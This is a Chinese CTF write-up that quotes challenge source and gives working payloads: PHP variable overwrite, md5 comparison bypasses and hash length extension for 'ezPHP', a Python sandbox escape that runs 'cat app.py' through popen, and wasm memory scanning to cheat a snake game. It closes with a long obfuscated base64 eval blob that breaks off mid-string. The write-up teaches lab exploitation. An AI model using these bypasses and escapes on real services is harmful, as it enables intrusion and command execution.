前言
web疑似给re手出了,怎么一堆要逆的和二进制理解,据说都是些最新最热的东西(?
啊?不是,这都啥跟啥啊,头一次觉得web的wp几乎没法看懂的
这我会个集贸web啊
参考:
官方wp在群里
Web
ezPHP
<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
$a = 'O.U.C';
$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
die('听说你是黑客');
}
echo '你知道b等于什么能绕过这个弱类型吗(〃` 3′〃)'.'<br>';
if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
echo "哎呦,不错喔".'<br>';
$O_U_C=$_GET['O_U_C'];
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){
echo 'but'.'如果我寄出===阁下又该如何应对๑乛◡乛๑'.'<br>';
if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
echo '好,那么好'.'<br>';
if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
echo '还是被你解出来了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
}else{
echo '告诉你secret的md5值也无妨,反正哈希是不可逆的๑乛◡乛๑,除非你能箨斩攻击我'.md5($secret.'ouc').'<br>';
}
}else{
echo '不过如此';
}
}else{
die("不行嘛(´ェ`)");
}
}else{
echo '嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}
首先$a = 'O.U.C';
这玩意的md5开头不是0e,
然后前面有一个parse_str($query);
可以变量覆盖,也就是说我们传入的任何get参数都会解析进变量,所以可以自己指定$a
,那就随便打md5弱比较
接下来换行符%0a
绕过正则匹配/^100$/
然后是数组绕过强类型md5比较
最后是hash长度拓展攻击,注意$secret需要自己指定才能确定长度,我这里指定为aaa(其实这里原样拼回去就出了,纯纯白给)
最终payload:
GET: ?a=QNKCDZO&b=240610708&O%20U%20C=100%0a&secret=aaa&md5=%6f%75%63%25%38%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%63%6c%6f%75%64
POST: md51[]=1&md52[]=2
COOKIE: md5=12b2da67af486b0ab40600917a04fb8d
菜狗工具#1
from flask import *
import io
import os
app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])
flag = "flag{xxxxxxxxx}"
@app.route("/")
def index():
return redirect("/static/index.html")
@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])
def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print
try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)
ret = out.getvalue()
out.close()
return ret
app.run('0.0.0.0', port=9001)
hint告诉我们是继承链攻击,当ssti做找到os._wrap_close
秒了
payload:
print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("cat app.py").read())
官方的payload:
print(print.__globals__['flag'])
贪吃蛇 (Unsolved)
wasm?
又是逆向么,不会
根本没用到的反编译wasm工具:https://github.com/WebAssembly/wabt
wasm可以看看la佬的博客:https://lazzzaro.github.io/2021/04/03/reverse-WebAssembly/
这题并不考 WebAssembly 逆向,首先这是个游戏,而要抵达一个不可能的分数,一般我们得靠作弊
法一:CheatEngine
那么预期解之一就是拿CheatEngine对着浏览器进程挨个扫,但是浏览器进程一大堆,跑这个 wasm 的只有其中一个,而且浏览器时不时垃圾回收,对象内存地址经常变,扫描会很困难
法二:访问wasm的内存对象
WebAssembly.Memory()
构造函数创建一个新的 Memory 对象。该对象的 buffer (en-US) 属性是一个可调整大小的 ArrayBuffer ,其内存储的是 WebAssembly 实例所访问内存的原始字节码。 ——MDN:https://developer.mozilla.org/zh-CN/docs/WebAssembly/JavaScript_interface/Memory
什么意思呢? wasm 程序运行时靠的是 js 环境给它申请的内存对象,那如果我们直接访问这个对象,是否能实现 js 环境下的 CheatEngine 呢?
addrs = []
// gain score
cachedUint8Memory0.forEach((i,n)=>{ if(i==0) addrs.push(n) })
addrs2 = []
// gain score
cachedUint8Memory0.forEach((i,n)=>{ if(i==1 && addrs.includes(n)) addrs2.push(n)
})
addrs3 = []
// gain score
cachedUint8Memory0.forEach((i,n)=>{ if(i==2 && addrs2.includes(n)) addrs3.push(n)
})
addrs4 = []
// gain score
cachedUint8Memory0.forEach((i,n)=>{ if(i==3 && addrs3.includes(n)) addrs4.push(n)
})
addrs5 = []
// gain score
cachedUint8Memory0.forEach((i,n)=>{ if(i==4 && addrs4.includes(n)) addrs5.push(n)
})
addrs5 -> [1117856]
唉不行这玩意太re了不会复现
法三:工具一把梭
CETUS:https://github.com/Qwokka/Cetus
把有 manifest.json 的那一级文件夹压缩成zip导入到浏览器
然后不会用,开摆
爆率真的高 (复现)
js黑盒
建议直接看正解
主要考察的是在现代前端框架化组件化、打包工具的发展的情形下,阅读前端代码已经越来越困难,此时需要有的黑盒思维
eval(atob("ZnVuY3Rpb24gXzB4NGQ0NShfMHhkMWI2NTksXzB4YWQ3NmIpe3ZhciBfMHgyMjg0NGQ9XzB4MmE4MygpO3JldHVybiBfMHg0ZDQ1PWZ1bmN0aW9uKF8weDQ0MmU3MCxfMHgxYzM1OTgpe18weDQ0MmU3MD1fMHg0NDJlNzAtKDB4MTRmNSsweDFjYjcrLTB4MmZiZCk7dmFyIF8weDFmYzkzMz1fMHgyMjg0NGRbXzB4NDQyZTcwXTtpZihfMHg0ZDQ1WydSU25rVkknXT09PXVuZGVmaW5lZCl7dmFyIF8weDNlNWRkOT1mdW5jdGlvbihfMHgxY2QzMjEpe3ZhciBfMHgzZGU2MTQ9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89Jzt2YXIgXzB4MWMzNDcyPScnLF8weDFlMDNjMj0nJyxfMHg0NWI4YjE9XzB4MWMzNDcyK18weDNlNWRkOTtmb3IodmFyIF8weDU3YmVhZD0tMHg0M2UrLTB4NGQ5Ki0weDUrLTB4MSoweDEzZmYsXzB4MmM0YmY4LF8weGM2NjRhNyxfMHg1ODhlNTY9MHgzKi0weDc1ZisweDEqMHgyMDFkKy0weDgwKjB4MTQ7XzB4YzY2NGE3PV8weDFjZDMyMVsnY2hhckF0J10oXzB4NTg4ZTU2KyspO35fMHhjNjY0YTcmJihfMHgyYzRiZjg9XzB4NTdiZWFkJSgtMHg3YTQqLTB4NCsweDIxYjcrMHgxKi0weDQwNDMpP18weDJjNGJmOCooMHgyMWU3Ky0weDQ1MistMHgzKjB4OWM3KStfMHhjNjY0YTc6XzB4YzY2NGE3LF8weDU3YmVhZCsrJSgtMHhkNzcrMHgxYmE5Ky0weGUyZSkpP18weDFjMzQ3Mis9XzB4NDViOGIxWydjaGFyQ29kZUF0J10oXzB4NTg4ZTU2KygweGZkMSstMHgzMTgrMHgxMSotMHhiZikpLSgweDk4ZisweDEqMHgxYzgzKy0weDEqMHgyNjA4KSE9PTB4MWMyNCsweDIxMDArLTB4MioweDFlOTI/U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgtMHgxNjIqLTB4MTgrMHhjMiotMHgxMystMHgxMWNiJl8weDJjNGJmOD4+KC0oLTB4MjQwYystMHgzNCotMHgxMisweDIwNjYpKl8weDU3YmVhZCYweDIyOGMrMHgzZDQrLTB4MjY1YSkpOl8weDU3YmVhZDoweDcqMHg0YzMrLTB4OTE2KjB4NCsweDMwMyl7XzB4YzY2NGE3PV8weDNkZTYxNFsnaW5kZXhPZiddKF8weGM2NjRhNyk7fWZvcih2YXIgXzB4MTA5ZmIzPS0weDE1NTQrLTB4MTRiNisweDJhMGEsXzB4NTQwNTQ0PV8weDFjMzQ3MlsnbGVuZ3RoJ107XzB4MTA5ZmIzPF8weDU0MDU0NDtfMHgxMDlmYjMrKyl7XzB4MWUwM2MyKz0nJScrKCcwMCcrXzB4MWMzNDcyWydjaGFyQ29kZUF0J10oXzB4MTA5ZmIzKVsndG9TdHJpbmcnXSgweDEqMHgyNzAxKzB4NjgqMHg0Ky0weDI4OTEpKVsnc2xpY2UnXSgtKC0weDEqMHgyMjhiKy0weDIqLTB4MTFkNCsweDExYiotMHgxKSk7fXJldHVybiBkZWNvZGVVUklDb21wb25lbnQoXzB4MWUwM2MyKTt9O3ZhciBfMHg0MDI5Zjg9ZnVuY3Rpb24oXzB4ZmIzNGVlLF8weDUzOTY4Yil7dmFyIF8weDU4OGUzNT1bXSxfMHg1MjM3N2M9MHgyZDQqLTB4NysweDdiYisweDEqMHhjMTEsXzB4NWIyZmNkLF8weDViNTVkYT0nJztfMHhmYjM0ZWU9XzB4M2U1ZGQ5KF8weGZiMzRlZSk7dmFyIF8weDFhY2E3Zjtmb3IoXzB4MWFjYTdmPTB4MWRhMSstMHgzMjYqLTB4NSstMHgyZDVmO18weDFhY2E3ZjwtMHgxN2E3KjB4MSstMHgxKi0weDE4MmYrLTB4MSotMHg3ODtfMHgxYWNhN2YrKyl7XzB4NTg4ZTM1W18weDFhY2E3Zl09XzB4MWFjYTdmO31mb3IoXzB4MWFjYTdmPTB4ZDlmKzB4ZWI0KzB4MyotMHg5NzE7XzB4MWFjYTdmPDB4MTM0ZSotMHgxKy0weDEqMHgxNDEzKzB4Mjg2MTtfMHgxYWNhN2YrKyl7XzB4NTIzNzdjPShfMHg1MjM3N2MrXzB4NTg4ZTM1W18weDFhY2E3Zl0rXzB4NTM5NjhiWydjaGFyQ29kZUF0J10oXzB4MWFjYTdmJV8weDUzOTY4YlsnbGVuZ3RoJ10pKSUoLTB4MTM4ZSotMHgxKy0weDI0OGIrLTB4NWZmKi0weDMpLF8weDViMmZjZD1fMHg1ODhlMzVbXzB4MWFjYTdmXSxfMHg1ODhlMzVbXzB4MWFjYTdmXT1fMHg1ODhlMzVbXzB4NTIzNzdjXSxfMHg1ODhlMzVbXzB4NTIzNzdjXT1fMHg1YjJmY2Q7fV8weDFhY2E3Zj0tMHhjNiotMHg2Ky0weDEqMHg5YWQrLTB4NTA5Ki0weDEsXzB4NTIzNzdjPTB4NTE4KzB4NTMqMHgxOSstMHhkMzM7Zm9yKHZhciBfMHgxMGRmMjA9MHhkNjYrMHgxYmViKzB4NWU3Ki0weDc7XzB4MTBkZjIwPF8weGZiMzRlZVsnbGVuZ3RoJ107XzB4MTBkZjIwKyspe18weDFhY2E3Zj0oXzB4MWFjYTdmKygweDg0OCstMHgxKi0weDU1OSstMHhkYTApKSUoLTB4NjRjKy0weDI2NSotMHg5Ky0weDU5KjB4MjkpLF8weDUyMzc3Yz0oXzB4NTIzNzdjK18weDU4OGUzNVtfMHgxYWNhN2ZdKSUoMHgxKjB4MTU2NysweGJkNSsweDIwM2MqLTB4MSksXzB4NWIyZmNkPV8weDU4OGUzNVtfMHgxYWNhN2ZdLF8weDU4OGUzNVtfMHgxYWNhN2ZdPV8weDU4OGUzNVtfMHg1MjM3N2NdLF8weDU4OGUzNVtfMHg1MjM3N2NdPV8weDViMmZjZCxfMHg1YjU1ZGErPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4ZmIzNGVlWydjaGFyQ29kZUF0J10oXzB4MTBkZjIwKV5fMHg1ODhlMzVbKF8weDU4OGUzNVtfMHgxYWNhN2ZdK18weDU4OGUzNVtfMHg1MjM3N2NdKSUoLTB4MjZlOCstMHgyZDkqLTB4OSstMHgyYiotMHg1NSldKTt9cmV0dXJuIF8weDViNTVkYTt9O18weDRkNDVbJ1pSUG52ZSddPV8weDQwMjlmOCxfMHhkMWI2NTk9YXJndW1lbnRzLF8weDRkNDVbJ1JTbmtWSSddPSEhW107fXZhciBfMHg1ZDFlMWU9XzB4MjI4NDRkWy0weDcwMSsweDIyYjErLTB4MTAqMHgxYmJdLF8weDVlOWYxZT1fMHg0NDJlNzArXzB4NWQxZTFlLF8weDNjOTViNj1fMHhkMWI2NTlbXzB4NWU5ZjFlXTtpZighXzB4M2M5NWI2KXtpZihfMHg0ZDQ1Wyd0dFVrengnXT09PXVuZGVmaW5lZCl7dmFyIF8weDVkMTkyMz1mdW5jdGlvbihfMHg0MDYyNWUpe3RoaXNbJ1ZiTmhKQSddPV8weDQwNjI1ZSx0aGlzWydXalNGTlUnXT1bMHgxKi0weDFiNjkrMHgxZCotMHhkZisweDM4MyoweGYsMHgyKi0weGZlKzB4MTUqMHgxYmQrLTB4MjI4NSwtMHgxKjB4MTU2NCsweDIzMWErLTB4ZGI2XSx0aGlzWydFZnNMbW4nXT1mdW5jdGlvbigpe3JldHVybiduZXdTdGF0ZSc7fSx0aGlzWydOQk1qWm4nXT0nXHg1Y3crXHgyMCpceDVjKFx4NWMpXHgyMCp7XHg1Y3crXHgyMConLHRoaXNbJ3FIRnl6cyddPSdbXHgyN3xceDIyXS4rW1x4Mjd8XHgyMl07P1x4MjAqfSc7fTtfMHg1ZDE5MjNbJ3Byb3RvdHlwZSddWydrVE13R1InXT1mdW5jdGlvbigpe3ZhciBfMHgyODMxY2E9bmV3IFJlZ0V4cCh0aGlzWydOQk1qWm4nXSt0aGlzWydxSEZ5enMnXSksXzB4OGU5ZDI2PV8weDI4MzFjYVsndGVzdCddKHRoaXNbJ0Vmc0xtbiddWyd0b1N0cmluZyddKCkpPy0tdGhpc1snV2pTRk5VJ11bMHgxZDAxKzB4MioweDIwKy0weDkwKjB4MzRdOi0tdGhpc1snV2pTRk5VJ11bMHhjOCotMHgyKy0weDIxNTcrMHgyMmU3XTtyZXR1cm4gdGhpc1sncXB5dVNVJ10oXzB4OGU5ZDI2KTt9LF8weDVkMTkyM1sncHJvdG90eXBlJ11bJ3FweXVTVSddPWZ1bmN0aW9uKF8weDExYjMyNyl7aWYoIUJvb2xlYW4ofl8weDExYjMyNykpcmV0dXJuIF8weDExYjMyNztyZXR1cm4gdGhpc1snTUNUbGliJ10odGhpc1snVmJOaEpBJ10pO30sXzB4NWQxOTIzWydwcm90b3R5cGUnXVsnTUNUbGliJ109ZnVuY3Rpb24oXzB4MmQ4NGNmKXtmb3IodmFyIF8weGU1MzlmPS0weGYxZSsweDEqMHgxZjliKy0weDEwN2QsXzB4MzJmMGQ1PXRoaXNbJ1dqU0ZOVSddWydsZW5ndGgnXTtfMHhlNTM5ZjxfMHgzMmYwZDU7XzB4ZTUzOWYrKyl7dGhpc1snV2pTRk5VJ11bJ3B1c2gnXShNYXRoWydyb3VuZCddKE1hdGhbJ3JhbmRvbSddKCkpKSxfMHgzMmYwZDU9dGhpc1snV2pTRk5VJ11bJ2xlbmd0aCddO31yZXR1cm4gXzB4MmQ4NGNmKHRoaXNbJ1dqU0ZOVSddWzB4MTgxOCsweGYqMHgyODQrLTB4MTQ5YyoweDNdKTt9LG5ldyBfMHg1ZDE5MjMoXzB4NGQ0NSlbJ2tUTXdHUiddKCksXzB4NGQ0NVsndHRVa3p4J109ISFbXTt9XzB4MWZjOTMzPV8weDRkNDVbJ1pSUG52ZSddKF8weDFmYzkzMyxfMHgxYzM1OTgpLF8weGQxYjY1OVtfMHg1ZTlmMWVdPV8weDFmYzkzMzt9ZWxzZSBfMHgxZmM5MzM9XzB4M2M5NWI2O3JldHVybiBfMHgxZmM5MzM7fSxfMHg0ZDQ1KF8weGQxYjY1OSxfMHhhZDc2Yik7fXZhciBfMHg0MmQ2NTM9XzB4NGQ0NTsoZnVuY3Rpb24oXzB4M2RlOTU4LF8weDJiOTc3OCl7dmFyIF8weDVhOTJjYT1fMHg0ZDQ1LF8weDUzODRhNj1fMHgzZGU5NTgoKTt3aGlsZSghIVtdKXt0cnl7dmFyIF8weDFiNTVkOD1wYXJzZUludChfMHg1YTkyY2EoMHgyMWQsJyZoZV4nKSkvKC0weGU1OCsweDIqLTB4MTFlZisweDMyMzcqMHgxKStwYXJzZUludChfMHg1YTkyY2EoMHgyMTYsJzAzQXcnKSkvKC0weDJiMyotMHgxKzB4MTQqMHgyMistMHg1NTkpK3BhcnNlSW50KF8weDVhOTJjYSgweDIwZiwnQGwqZCcpKS8oMHgyKi0weGQyMisweDEqLTB4ZTAzKzB4Mjg0YSkqKC1wYXJzZUludChfMHg1YTkyY2EoMHgxZmYsJzFNYzAnKSkvKC0weDE4M2YrLTB4MjMwKy0weDI1Ki0weGI3KSkrcGFyc2VJbnQoXzB4NWE5MmNhKDB4MjI2LCc2eGIkJykpLygweDFmKi0weDFmKzB4MjFiZSstMHg4OSoweDM4KSoocGFyc2VJbnQoXzB4NWE5MmNhKDB4MjA2LCcmSHRbJykpLygtMHgxKjB4NGIzKy0weGQwNSstMHg4ZGYqLTB4MikpK3BhcnNlSW50KF8weDVhOTJjYSgweDFmMCwnaTFubycpKS8oMHgyMDM0Ky0weGRmOCstMHgxMjM1KSstcGFyc2VJbnQoXzB4NWE5MmNhKDB4MjE4LCd3QTh0JykpLygtMHgxZjFmKy0weDExOGMqLTB4MSsweGQ5YikqKHBhcnNlSW50KF8weDVhOTJjYSgweDIwMCwnQWRBRicpKS8oMHhhOTArMHhhNjEqLTB4MSstMHgyNikpK3BhcnNlSW50KF8weDVhOTJjYSgweDIyMiwnZUZVOScpKS8oMHgxYmMwKzB4MjkqMHg5MistMHgyMjEqMHgxOCkqKHBhcnNlSW50KF8weDVhOTJjYSgweDFmNywneXN6VicpKS8oLTB4MjM4MystMHgxZWZjKzB4NDI4YSkpO2lmKF8weDFiNTVkOD09PV8weDJiOTc3OClicmVhaztlbHNlIF8weDUzODRhNlsncHVzaCddKF8weDUzODRhNlsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4MjRlMmEzKXtfMHg1Mzg0YTZbJ3B1c2gnXShfMHg1Mzg0YTZbJ3NoaWZ0J10oKSk7fX19KF8weDJhODMsLTB4YTZhMzUrMHgxZmQ5KjB4NDkrMHgxKjB4ODM0NzEpKTtmdW5jdGlvbiBfMHgyYTgzKCl7dmFyIF8weGViODk0Nz1bJ2U4azBFM1JjU1cnLCdXNGUxJywnVzVxQicsJ1c2L2RTcScsJ2ZYTE9jOG9XeW1rZUJTa0tlU2tCQVcnLCdXNkR2V1IzZEhhYmxyOGt2VzQvZEg4aytXN3knLCdobW9FVzVPN0N0NG1EOGs0bUtpJywnRThrNXZhJywnV1FSY1Y4b0FXNEJkUDhrOWtyTmRVQ29nQjhvaFdRbGNMdXRjT3ZqeVc0cGRIQ29VRUNvV1dPT3VsWkZjUk1yNldRRENXN0ZkU0lwZElMbGRIbW8yam1rK2Zta0ZXUUZkSk5GY0dHdGRNcWRkTUNvVWtNMXdXT3llQzBHZmhZUmRRWDVnVzVmelc2RmNPTGZkbDhrNEVDb29XNXo0dThrZ1dQMHpxdlBxeElxeFdSWGVvOG9SV1F4ZEhLdGNUSmRkSjhvMmk4a1N5eDVFbmJ2ZWY4a2RiU2tHVzZ4Y0h1WHl6bW9uV1A1c3JDa1liMmZweFNrNFc0eGRVU29EVzZpVHdTbzhXNk9NZ3dKY0h1VmNUU29wcDBCY1RoUmNIWkhaVzRiYmwwWmNNTFQwVzUvY01MRG9XUldkV1JsY1FDa3hXUWxjSFNvWXZDa0xXUFNYVzVUd1c2ZGNJSXBjUDhvM2J0NVdDQ2tLbkNvRnNDb2tXNkN4V1JkZFZTb3dXNGZIVzQ5SGRTa3FXNUNVV1J4ZFJta05FQ29PVzdDSVdQT0FXUDlyVzU1SWdtb3d2bWtZVzZOZElxaWJXUk5kSW1vb1dQcGRKU28waWFSY1NneGNWQ2tvRW1vd1c2cjdrTDFKV1FtSVdRZThXT2xkTWc3ZEp4T1BlU29BRk1GY0lYcm9nOGtRVzZ1M1c1eGRNOGtaVzU0UWZDbzFXNEdjV1JaY1Zta3NBQ2t0VzU5T0M4azFxU2s2V09tQVc2VGNXNGkyZFNvNnltb2VuczFaQkNrVVdPUmRLOG9IV1FDa1c1ZGNKbWt3dWJsY1MyQmRUMHBkUVNrSVdPQmRPQ29ORThrQnZZRmNLYWZ2VzZ1VFdSWENXNzQrRXdmd1dSeGNOQ2tPbW1vTXNDbzh6U28zczJsY00zcUdXUVZkU0pGY1ZDb21FQ2tLY05oZFFDb1JXT0JkS0NvK1c1UmRUdFpkVXVQenhxck5XNWRkTDhvREJjeW1XNE5kUjAvZEpDb2xXT2J5ZzhvVnBYN2RIRzdkVm1rVWdDb25kQ29XenZ4ZE5OeGNVc0hpYUloZEdDb0VXNkpjVENrb1dQTmNPQ282QjhrYmZJNE94Q29ucFNvVHVlcm1pbW8wV1BkZEcxbU1XNnZ2V1A3Y1VicUFwOGtOVzR5V3c4a25XNU5kSmgzZE9IM2RSSGE5VzZyelc1UzVXNHlIVzdHbVdScVpuU2tSbmdOY084a2F3OGtyV09uTldROGdXUFdxVzRua1dRWCtXN3lhVzRHc1c0SGVXUnZrVzU0SGdHOHVyOG9XV09iRldSN2RUOGtnYVo1cHRDa3JhZnBkUFdsZE9Tb2NoOGtCVzREaVdPZTNyU2sveW1vZ2tHRmRKQ2syQm1vZFdRVmNRbW9xVzZpM2licGNPU2tCem1remhHUHFXNWorVzVHUWlxMGdiSUtrVzZ4ZFVKWGJXNXY4VzRlUFc1ZS93d25UVzVaZExtb0lXT2RkVXM0cVc1NGdibWtLV1EvY0dDazBCQ296bkNrbFdRQmNSdk9nVzcvZEg4b1BrOG9zV096bVc3dGRVTU5jVENrQUZ3U3lXUnRkUG1vaEZLbTNXNnRjUFNraUQwUmNQZU5kR0NvbGpmSDZyc0dleVovZFNta2RiSUw2VzVSY1FJbGNNcVhQb3JGZFBTa1RXTy9kUThvdldRdkRXUnhjTk1aY0hkUHNFTXZaYjNWZE9jeGNQdE5kSTA4aldRSmRTMVh0dFl6Vlc0NWpXUUJjSlg4dkFTa0hXNjlKVzU3Y1BDb2NiU2swVzd5QXNieGRLZEhBVzRKZFZtb2ttQ2tmV1JkY0xDa3lXUDdkR0NvRnl0RmRSdDNkTlp0Y1NDb2dtc21LRHVwZEdta1dxOG9rV1BtUVc0VmNOSm1tRG1vdGpOYWdXNi9jTG1rWFdQM2NOYVZjVVNvWlc0VmNJdzhkV1FpU3RDa1lqVzNjUU1mSFdROUhwSzg2VzZIQldQcUNzTmlNVzZQUFc1bGRIbW9ocm1vRFdQYVZyOGtyV094ZEp4M2RRQ295VzUzZFV4bkVXT0ZkSWZqOHE4b0ZXNi9jUUNvNVc2R2hpWG5ZV09aY1F3T1JXUG13VzZ6WFc3ZmZnbW9Rd0tkY09Da3BwQ2tJV1JPSm1ZOG9qOGtEVzVoY1BTb3NkOGtYV1BtNVdRQ3ZyYlJkTVptOVdSdGNQU29sVzRaY0p4RFFpWXBjVThrcWdMWmNHY1BEbDhvUHE4by9vcXZYcUNrR1dRbWRXT2Jkclg4dWhTb25EbWs1anRXRHM4b0p4Q2tjejFtN1dSM2RNS1N1ZlpwY1Q4a1JXUWl2cVhyT1c3UmRJQ29sV083Y1BKL2NWOG9vVzUzY084a01XN2lyYUNvL1dPSmNMMERmV1JoZExodVl2WmJXVzc3Y1Y4a1FxbW9PVzZXdFc2T0FxSUpkRzhvYVdQWmRSWTdjT0NrK1dSSmNUSVZkSGFEd2Nta1ZxWldwYm1rS1dPL2RVMEN5eENrNGF4WEhCbW9FcDEzY1Q4b2xXUGxjVUNrc2F1NEdXN3F2V1JiT1c3TytXUHBjSkw5dFc2ekpyV3RjVXJxVWR1cGRRSUZjSTN6VVdRaGNQMHhkVmRoY0xta0l4Q29YQ2VOY1AyTFZXT0ZjUGE4QVdQakRiOG9uV1I5Rm1jVDZXNDNkSThrQVdRYWl2Q29JeFNvbXY4a2V6Q29DV1BqSlc2YUNXNjNkTFNraHNKbWtXNEZkSjhrcVdSQmRHMTdkTVNvRHE4b2VXUWVBdThrOGpLQmRIOGtoV1FaZFRZRE93dW5KV1JCZElNR095V2RkVm1rRG9YZGNTbWtUVzdaZEkyZGRVM2xjTG1rTVdQL2NLOGtQVzU0dVc2ZGRIQ283VzVDY3JTazhXUEN5VzZGZFZDb3RXT0JjT1NrR0Y4a3d2YW5zVzdoZFQyWmNVZjkzV1BGZFVDa3pwdFZjS0tlSWYwdGNWWUdNV1BIQnJta1NXUHRkTm1vTldRYktXUWV5V1BxeFdPMGNXUWxjTkNreVc2M2RMOG9PVzZKZFFmQmRRU29SVzZiNm5lRmNPaFZkTVNvOWUzZktXNXRjUVcvY09TbzhXNDdkSkNvc1dPWmRMSHFBdDhrbG8wRmRIU2thV09qZVc0ZmpXNHBkSThraVdRL2RLU295VzRwZFNTbzVXUFJkTEhWZE5XR0VXNEduV1BISVc3QmRSSURHdkNvQnd0eGRJbW9ZV1E3ZElTb1BrMTNkTHFqUldPS0RlU2t1V1BOZFNTb1hXUmU0dTMxd0ZYNUhvQ29EaW1rSVc2Ym9kS2xkSzhvbGF0bGNLbW8xV1AwR1c3cGRNR2puRThvcGVXQmRPMEJkTVNvbEN1R0tXUER0VzdyUFc2VENXNjFVV1BDaFdPM2NUTFZkSm1vdFdQbU9XT1ZkUk5aZFRTa2t0aHRkVllaZEttay95U2tZYThvZldPRHRXT3VhcXZOY09tb2VXN1pjSVNrVlc3OEdjM3pzV08wV1c3THFXNVR5VzVLSXAxL2NWS3BjVm1vTFc2aGNPU2tQVzYxYWl3M2NMR0JkSkNrRXJJTmNOU2tRVzU4U29TbytXNlJkTDhrdldRbmtXUnpmV090ZEttazZrQ283VzZMaFdSSmNIZ0t5VzVIMVc0aGNVbWtGbThvVFc0blFGQ2tWVzZPTnRTa2tuTnZFV1AzY0dTb2FXN2RkU21vL1c3YjVXTzRCV1F0Y1BZcGRIZ3VhaExEcnloM2NSU29GVzdOZEplZGRHV0h5QVNvUENjTmRUOG9ZV095enZ1M2NVc1NBQndkY1BDa1NXTzl3bVNvMUVlenBXN25zV1BWZExTa2p1Q2tyVzc3Y014aGNLbWsvYk5ycGhTa0FXUjRtQU00VUJtb2ZXNGRjTkNrVFdSZlF0V2F2Vzd5eGtTa2xqU2t1d0hWZFRDbzRDdTE1dnQzZFVnVmNPbWtHblNrZ2xOaGRMYUJkU21vR3pDa01GQ29aV09OY0sybGNKZGhkUzBtR1dRbGNNbW9ja0o1c2dDazlsSFJjTjhveGJDa3BXTzVNVzZEWVc2SFRhU29CeDJ0ZFBta3RuOG9EY0poY0lDa2xld3BjVHVoZE44b0dpOG9naVlmWHJtb3VXT2xkTXZCY0dkRmNTbWs2a21vRVdQMW9XUnZNbDJGY1RMSmNKZjBNV09XcldSM2NWU294c0NraldSNHVXUldrcVNvQ1dQOU54OGtJdTB0Y0phaTlXUTlxV1BUamk4a21XNVREV090Y0pjOVd2ZFgydENrMlc3djJoVzdjUnNlK3Zta1lXNGhkUDhvM1dScjN0U285V1EzY0s4a21XNVR0VzQzY09iUmNUQ28vVzY4M3pDb1ViU2tHV1BoY1Vtb2pXUHViVzdCZEdTa1pXNEJkSGVoZFFTbzNxOG92RENrd1c1UmNOQ2tuVzViV0E4azlXNHYxVzQzY1BIaGROcldJV09GY1NlbmNXUnpSaUNrY1c1dGRWbW82V1JqdHptbytrY25UVzV1SHZta0h6U29zbW1vaVc1dGRQTXFNV1IvZEwxdGNTU2thVzROZFRta2NrbWt3VzQzZEhDb01XT0MvbnF2RGU4b0xqOG9MV1JkZE9jblZXUXE5QmgzY1AwR21GbWtpVzQwVVc1M2NIU2tSQmcvY0ttby9GdUw3eHRwZFRTbzJXUmxjUGN1UWFXVHhXTzNkSzhvTGNTbzdXUkJjU1NrRVdRYkRXNldmeUpOY1Ztb2tqZVpjUzhvd1c0ZGRObWthVzZuR1dSL2RPTjQ3amg3ZFZDb2pXNU9VVzdTelc1OTl3OG81V1B4ZEc4b2ZXUVNYVzVsY0l0VGVtZkJjVGMzY0tlU2tXN1ZjT0Nva1c0em1XN3p1Vzd0Y09TbzlvQ2s1cDNmZXZTa2x0bWtXVzczZFVtbzlXNWhkTUNrM2NJQmNWcUM5V1FyU1c3bGRIdUJjS0NvWlc2ZGNSTDEyZ2RWY1Ztb3BXNTNkTWEwOEVta0dlbWtTV08wb1dSTGhkOGtZRHZ6d3lnM2RHQ2tKVzR1dUZTb1B1MlMvV1E1NmY4a1dxU29RQVNvZW5ySmRIMW1XRU1CY0p2N2RUTkthV1BMdXNLbGRWQ29oalNrTEVtb1FXUjdjSkNvUldRRmRQeDNkSlNrcGhtb1hXUW4zVzQ3ZEttb2VXNEJkT21vNFdRTFBXNmRkUDhvSmlJL2NWVzBiczhvdVdQZGRQU29Fc04vZEc4bzRXUmZmRTJkY1EzOExXNGZTV1JuT1dReGNVOGs4V1B6ZXIwUmNHbWswY0NrVGZMSEp5VzRmelNvNVc3ZGNMWGpiVzZWY0hYekdXTy9jVEdqaVdPOFZwQ29FV09tcFdRdnV6OGt1V1FOY1NjUmRIU290eVNrN0JtbzVXUTNkR1NraHBjcWlXNGRkUDAwcnlkNUZXUXVmVzYxNlc3V1p1WS9jTzhvdFc3WmRKbWtNRkdiTHFKekNXNVNzV1FKZFIwbVpGbWtMV1BuOVdSNU5s